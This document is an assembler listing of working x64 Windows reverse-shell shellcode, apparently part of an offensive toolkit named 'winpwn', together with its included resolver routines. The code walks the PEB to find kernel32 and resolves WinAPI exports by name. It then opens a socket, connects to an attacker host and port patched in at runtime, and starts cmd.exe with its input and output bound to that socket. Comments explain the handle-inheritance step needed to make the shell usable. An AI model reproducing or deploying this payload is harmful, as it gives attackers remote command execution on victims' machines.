     1                                  ; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
     2                                  ; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
     3                                  ; redirected to the socket. The classic Windows reverse-shell primitive.
     4                                  ;
     5                                  ; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
     6                                  ; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
     7                                  ; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
     8                                  ; constants since they never change.
     9                                  ;
    10                                  ; Real gotcha, worth recording here since it's easy to miss and the
    11                                  ; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
    12                                  ; error anywhere) gives no hint why: socket() handles are NOT inheritable
    13                                  ; by default on modern Windows (a hardening change from the days when
    14                                  ; every handle was inheritable by default). bInheritHandles=TRUE on
    15                                  ; CreateProcessA alone is not enough -- SetHandleInformation must mark the
    16                                  ; specific socket handle as inheritable first, or the child simply doesn't
    17                                  ; get a usable copy of it no matter what STARTUPINFOA says.
    18                                  BITS 64
    19                                  default rel
    20                                  
    21                                  start:
    22 00000000 55                          push rbp
    23 00000001 4154                        push r12
    24 00000003 4155                        push r13
    25 00000005 4889E5                      mov rbp, rsp
    26 00000008 4883E4F0                    and rsp, ~0xF
    27                                  
    28 0000000C E8EB010000                  call get_kernel32_base
    29 00000011 4989C4                      mov r12, rax                  ; r12 = kernel32 base, kept for the whole routine
    30                                  
    31                                      ; WSAStartup(0x0202, &wsadata_buf)
    32 00000014 4C89E1                      mov rcx, r12
    33 00000017 488D15FA020000              lea rdx, [rel name_ws2_32]
    34 0000001E 4C8D05FE020000              lea r8, [rel name_wsastartup]
    35 00000025 E877020000                  call resolve_export
    36 0000002A B902020000                  mov rcx, 0x0202
    37 0000002F 488D153A030000              lea rdx, [rel wsadata_buf]
    38 00000036 4883EC20                    sub rsp, 0x20
    39 0000003A FFD0                        call rax
    40 0000003C 4883C420                    add rsp, 0x20
    41                                  
    42                                      ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
    43 00000040 4C89E1                      mov rcx, r12
    44 00000043 488D15CE020000              lea rdx, [rel name_ws2_32]
    45 0000004A 4C8D05DD020000              lea r8, [rel name_socket]
    46 00000051 E84B020000                  call resolve_export
    47 00000056 B902000000                  mov rcx, 2
    48 0000005B BA01000000                  mov rdx, 1
    49 00000060 41B806000000                mov r8, 6
    50 00000066 4883EC20                    sub rsp, 0x20
    51 0000006A FFD0                        call rax
    52 0000006C 4883C420                    add rsp, 0x20
    53 00000070 4989C5                      mov r13, rax
    54                                  
    55                                      ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
    56                                      ; -- see the file header: without this, the child below can't actually
    57                                      ; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
    58 00000073 4C89E1                      mov rcx, r12
    59 00000076 4831D2                      xor rdx, rdx
    60 00000079 4C8D05BD020000              lea r8, [rel name_sethandleinformation]
    61 00000080 E81C020000                  call resolve_export
    62 00000085 4C89E9                      mov rcx, r13
    63 00000088 BA01000000                  mov rdx, 1
    64 0000008D 41B801000000                mov r8, 1
    65 00000093 4883EC20                    sub rsp, 0x20
    66 00000097 FFD0                        call rax
    67 00000099 4883C420                    add rsp, 0x20
    68                                  
    69                                      ; connect(sockfd, &sockaddr_buf, 16)
    70 0000009D 4C89E1                      mov rcx, r12
    71 000000A0 488D1571020000              lea rdx, [rel name_ws2_32]
    72 000000A7 4C8D0587020000              lea r8, [rel name_connect]
    73 000000AE E8EE010000                  call resolve_export
    74 000000B3 4C89E9                      mov rcx, r13
    75 000000B6 488D15B3040000              lea rdx, [rel sockaddr_buf]
    76 000000BD 41B810000000                mov r8, 16
    77 000000C3 4883EC20                    sub rsp, 0x20
    78 000000C7 FFD0                        call rax
    79 000000C9 4883C420                    add rsp, 0x20
    80                                  
    81                                      ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
    82                                      ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
    83                                      ; CreateProcessA's own shadow space + its 6 stack-passed arguments.
    84 000000CD 4881ECE0000000              sub rsp, 0xE0
    85                                  
    86 000000D4 48C744245000000000          mov qword [rsp+0x50], 0
    87 000000DD 48C744245800000000          mov qword [rsp+0x58], 0
    88 000000E6 48C744246000000000          mov qword [rsp+0x60], 0
    89 000000EF 48C744246800000000          mov qword [rsp+0x68], 0
    90 000000F8 48C744247000000000          mov qword [rsp+0x70], 0
    91 00000101 48C744247800000000          mov qword [rsp+0x78], 0
    92 0000010A 48C784248000000000-         mov qword [rsp+0x80], 0
    92 00000113 000000             
    93 00000116 48C784248800000000-         mov qword [rsp+0x88], 0
    93 0000011F 000000             
    94 00000122 48C784249000000000-         mov qword [rsp+0x90], 0
    94 0000012B 000000             
    95 0000012E 48C784249800000000-         mov qword [rsp+0x98], 0
    95 00000137 000000             
    96 0000013A 48C78424A000000000-         mov qword [rsp+0xA0], 0
    96 00000143 000000             
    97 00000146 48C78424A800000000-         mov qword [rsp+0xA8], 0
    97 0000014F 000000             
    98 00000152 48C78424B000000000-         mov qword [rsp+0xB0], 0
    98 0000015B 000000             
    99                                  
   100 0000015E C744245068000000            mov dword [rsp+0x50], 104       ; STARTUPINFOA.cb
   101 00000166 C784248C0000000001-         mov dword [rsp+0x8C], 0x100     ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
   101 0000016F 0000               
   102 00000171 4C89AC24A0000000            mov [rsp+0xA0], r13             ; .hStdInput  (offset 80)
   103 00000179 4C89AC24A8000000            mov [rsp+0xA8], r13             ; .hStdOutput (offset 88)
   104 00000181 4C89AC24B0000000            mov [rsp+0xB0], r13             ; .hStdError  (offset 96)
   105                                  
   106                                      ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
   107 00000189 4C89E1                      mov rcx, r12
   108 0000018C 4831D2                      xor rdx, rdx
   109 0000018F 4C8D05BC010000              lea r8, [rel name_createprocessa]
   110 00000196 E806010000                  call resolve_export
   111 0000019B 4989C6                      mov r14, rax
   112                                  
   113 0000019E 4831C9                      xor rcx, rcx                    ; lpApplicationName = NULL
   114 000001A1 488D15B9010000              lea rdx, [rel cmdline_buf]       ; lpCommandLine = "cmd.exe"
   115 000001A8 4D31C0                      xor r8, r8                      ; lpProcessAttributes = NULL
   116 000001AB 4D31C9                      xor r9, r9                      ; lpThreadAttributes = NULL
   117 000001AE 48C744242001000000          mov qword [rsp+0x20], 1          ; bInheritHandles = TRUE
   118 000001B7 48C744242800000000          mov qword [rsp+0x28], 0          ; dwCreationFlags = 0
   119 000001C0 48C744243000000000          mov qword [rsp+0x30], 0          ; lpEnvironment = NULL
   120 000001C9 48C744243800000000          mov qword [rsp+0x38], 0          ; lpCurrentDirectory = NULL
   121 000001D2 488D442450                  lea rax, [rsp+0x50]
   122 000001D7 4889442440                  mov qword [rsp+0x40], rax        ; lpStartupInfo = &si
   123 000001DC 488D8424B8000000            lea rax, [rsp+0xB8]
   124 000001E4 4889442448                  mov qword [rsp+0x48], rax        ; lpProcessInformation = &pi
   125 000001E9 41FFD6                      call r14
   126                                  
   127 000001EC 4881C4E0000000              add rsp, 0xE0
   128 000001F3 4889EC                      mov rsp, rbp
   129 000001F6 415D                        pop r13
   130 000001F8 415C                        pop r12
   131 000001FA 5D                          pop rbp
   132 000001FB C3                          ret
   133                                  
   134                                  %include "resolver.inc"
     1                              <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
     2                              <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
     3                              <1> ; addresses) and resolve any export by name (no hashing, just a linear
     4                              <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
     5                              <1> ; one-shot resolutions).
     6                              <1> ;
     7                              <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
     8                              <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
     9                              <1> ; non-volatile register they touch, so callers can keep values live in
    10                              <1> ; r12-r15 across calls to either of these.
    11                              <1> 
    12                              <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
    13                              <1> ;
    14                              <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
    15                              <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
    16                              <1> ; fixed load order is the same trick essentially every public Windows x64
    17                              <1> ; shellcode relies on.
    18                              <1> get_kernel32_base:
    19 000001FC 65488B042560000000  <1>     mov rax, [gs:0x60]      ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
    20 00000205 488B4018            <1>     mov rax, [rax+0x18]     ; PEB->Ldr
    21 00000209 488B4020            <1>     mov rax, [rax+0x20]     ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
    22 0000020D 488B00              <1>     mov rax, [rax]          ; entry0.Flink -> entry1 (ntdll.dll)
    23 00000210 488B00              <1>     mov rax, [rax]          ; entry1.Flink -> entry2 (kernel32.dll)
    24 00000213 488B4020            <1>     mov rax, [rax+0x20]     ; entry2.DllBase  (DllBase sits 0x20 past InMemoryOrderLinks)
    25 00000217 C3                  <1>     ret
    26                              <1> 
    27                              <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
    28                              <1> ;   -> RAX = absolute address of the export, or 0 if not found.
    29                              <1> ;
    30                              <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
    31                              <1> ; entry against the target string, then follows AddressOfNameOrdinals and
    32                              <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
    33                              <1> ; DataDirectory[0] (export table) offset for PE32+.
    34                              <1> find_export:
    35 00000218 4154                <1>     push r12
    36 0000021A 4155                <1>     push r13
    37 0000021C 4156                <1>     push r14
    38 0000021E 4157                <1>     push r15
    39 00000220 56                  <1>     push rsi
    40 00000221 57                  <1>     push rdi
    41 00000222 53                  <1>     push rbx
    42                              <1> 
    43 00000223 4989CC              <1>     mov r12, rcx            ; r12 = module base (preserved for the whole routine)
    44 00000226 4989D5              <1>     mov r13, rdx            ; r13 = target name pointer (preserved)
    45                              <1> 
    46 00000229 418B44243C          <1>     mov eax, [r12+0x3C]     ; e_lfanew
    47 0000022E 4C01E0              <1>     add rax, r12            ; rax = NT header VA
    48 00000231 8B8088000000        <1>     mov eax, [rax+0x88]     ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
    49 00000237 4C01E0              <1>     add rax, r12
    50 0000023A 4989C6              <1>     mov r14, rax            ; r14 = export directory VA
    51                              <1> 
    52 0000023D 418B5E18            <1>     mov ebx, [r14+0x18]     ; ebx = NumberOfNames
    53 00000241 458B4E20            <1>     mov r9d,  [r14+0x20]    ; AddressOfNames RVA
    54 00000245 4D01E1              <1>     add r9, r12             ; r9  = AddressOfNames VA  (array of DWORD RVAs -> name strings)
    55 00000248 458B5624            <1>     mov r10d, [r14+0x24]    ; AddressOfNameOrdinals RVA
    56 0000024C 4D01E2              <1>     add r10, r12            ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
    57 0000024F 458B5E1C            <1>     mov r11d, [r14+0x1C]    ; AddressOfFunctions RVA
    58 00000253 4D01E3              <1>     add r11, r12            ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
    59                              <1> 
    60 00000256 4D31FF              <1>     xor r15, r15            ; r15 = loop index i
    61                              <1> 
    62                              <1> .loop:
    63 00000259 4939DF              <1>     cmp r15, rbx
    64 0000025C 7D34                <1>     jge .notfound
    65                              <1> 
    66 0000025E 438B04B9            <1>     mov eax, [r9 + r15*4]   ; nameRVA for entry i
    67 00000262 4C01E0              <1>     add rax, r12
    68 00000265 4889C6              <1>     mov rsi, rax            ; rsi = candidate name VA
    69 00000268 4C89EF              <1>     mov rdi, r13            ; rdi = target name VA (reset every attempt)
    70                              <1> 
    71                              <1> .cmp_loop:
    72 0000026B 8A06                <1>     mov al, [rsi]
    73 0000026D 8A0F                <1>     mov cl, [rdi]
    74 0000026F 38C8                <1>     cmp al, cl
    75 00000271 750C                <1>     jne .next
    76 00000273 84C0                <1>     test al, al
    77 00000275 740D                <1>     je .found               ; both hit NUL with every byte equal -> match
    78 00000277 48FFC6              <1>     inc rsi
    79 0000027A 48FFC7              <1>     inc rdi
    80 0000027D EBEC                <1>     jmp .cmp_loop
    81                              <1> 
    82                              <1> .next:
    83 0000027F 49FFC7              <1>     inc r15
    84 00000282 EBD5                <1>     jmp .loop
    85                              <1> 
    86                              <1> .found:
    87 00000284 4B0FB7047A          <1>     movzx rax, word [r10 + r15*2]  ; ordinal index for entry i
    88 00000289 418B0483            <1>     mov eax, [r11 + rax*4]          ; function RVA
    89 0000028D 4C01E0              <1>     add rax, r12                     ; absolute address
    90 00000290 EB03                <1>     jmp .done
    91                              <1> 
    92                              <1> .notfound:
    93 00000292 4831C0              <1>     xor rax, rax
    94                              <1> 
    95                              <1> .done:
    96 00000295 5B                  <1>     pop rbx
    97 00000296 5F                  <1>     pop rdi
    98 00000297 5E                  <1>     pop rsi
    99 00000298 415F                <1>     pop r15
   100 0000029A 415E                <1>     pop r14
   101 0000029C 415D                <1>     pop r13
   102 0000029E 415C                <1>     pop r12
   103 000002A0 C3                  <1>     ret
   104                              <1> 
   105                              <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
   106                              <1> ;   -> RAX = absolute address of the export, or 0 on any failure.
   107                              <1> ;
   108                              <1> ; find_export alone only works if the target module is *already* loaded
   109                              <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
   110                              <1> ; in a plain console process. When RDX is 0 this is exactly find_export
   111                              <1> ; (the function is assumed already loaded at the module base in RCX).
   112                              <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
   113                              <1> ; (itself just another find_export call) and called to load-or-fetch the
   114                              <1> ; named module, then find_export resolves R8 inside *that* module's base.
   115                              <1> resolve_export:
   116 000002A1 4154                <1>     push r12        ; kernel32 base
   117 000002A3 4155                <1>     push r13        ; dll name ptr (or 0)
   118 000002A5 4156                <1>     push r14        ; func name ptr
   119 000002A7 55                  <1>     push rbp        ; stash pre-align rsp, same pattern as winexec_x64.asm's start
   120 000002A8 4889E5              <1>     mov rbp, rsp
   121 000002AB 4883E4F0            <1>     and rsp, ~0xF
   122                              <1> 
   123 000002AF 4989CC              <1>     mov r12, rcx
   124 000002B2 4989D5              <1>     mov r13, rdx
   125 000002B5 4D89C6              <1>     mov r14, r8
   126                              <1> 
   127 000002B8 4D85ED              <1>     test r13, r13
   128 000002BB 750D                <1>     jnz .need_loadlibrary
   129                              <1> 
   130 000002BD 4C89E1              <1>     mov rcx, r12
   131 000002C0 4C89F2              <1>     mov rdx, r14
   132 000002C3 E850FFFFFF          <1>     call find_export
   133 000002C8 EB36                <1>     jmp .resolve_done
   134                              <1> 
   135                              <1> .need_loadlibrary:
   136 000002CA 4C89E1              <1>     mov rcx, r12
   137 000002CD 488D1537000000      <1>     lea rdx, [rel name_loadlibrarya]
   138 000002D4 E83FFFFFFF          <1>     call find_export
   139 000002D9 4885C0              <1>     test rax, rax
   140 000002DC 741F                <1>     jz .resolve_fail
   141                              <1> 
   142 000002DE 4C89E9              <1>     mov rcx, r13        ; LoadLibraryA(lpLibFileName)
   143 000002E1 4883EC20            <1>     sub rsp, 0x20       ; shadow space required before any WinAPI call
   144 000002E5 FFD0                <1>     call rax
   145 000002E7 4883C420            <1>     add rsp, 0x20
   146 000002EB 4885C0              <1>     test rax, rax
   147 000002EE 740D                <1>     jz .resolve_fail
   148                              <1> 
   149 000002F0 4889C1              <1>     mov rcx, rax        ; the newly (or already) loaded module's base
   150 000002F3 4C89F2              <1>     mov rdx, r14
   151 000002F6 E81DFFFFFF          <1>     call find_export
   152 000002FB EB03                <1>     jmp .resolve_done
   153                              <1> 
   154                              <1> .resolve_fail:
   155 000002FD 4831C0              <1>     xor rax, rax
   156                              <1> 
   157                              <1> .resolve_done:
   158 00000300 4889EC              <1>     mov rsp, rbp
   159 00000303 5D                  <1>     pop rbp
   160 00000304 415E                <1>     pop r14
   161 00000306 415D                <1>     pop r13
   162 00000308 415C                <1>     pop r12
   163 0000030A C3                  <1>     ret
   164                              <1> 
   165 0000030B 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0
   165 00000314 72794100            <1>
   135                                  
   136 00000318 7773325F33322E646C-     name_ws2_32: db "ws2_32.dll", 0
   136 00000321 6C00               
   137 00000323 575341537461727475-     name_wsastartup: db "WSAStartup", 0
   137 0000032C 7000               
   138 0000032E 736F636B657400          name_socket: db "socket", 0
   139 00000335 636F6E6E65637400        name_connect: db "connect", 0
   140 0000033D 53657448616E646C65-     name_sethandleinformation: db "SetHandleInformation", 0
   140 00000346 496E666F726D617469-
   140 0000034F 6F6E00             
   141 00000352 43726561746550726F-     name_createprocessa: db "CreateProcessA", 0
   141 0000035B 636573734100       
   142                                  
   143                                  ; lpCommandLine must point at writable memory (CreateProcessA may modify
   144                                  ; it in place) -- fine here since shellcode bytes live in a writable page
   145                                  ; wherever they landed, same as every other template's embedded buffers.
   146 00000361 636D642E6578650000-     cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
   146 0000036A 000000000000       
   147                                  
   148                                  align 8
   149                                  wsadata_buf:
   150 00000370 00<rep 200h>                times 512 db 0
   151                                  
   152                                  align 8
   153                                  sockaddr_buf:
   154 00000570 0200                        dw 2          ; sin_family = AF_INET
   155 00000572 0000                        dw 0          ; sin_port, patched at runtime (network byte order)
   156 00000574 00000000                    dd 0          ; sin_addr, patched at runtime (network byte order)
   157 00000578 0000000000000000            dq 0          ; sin_zero[8]
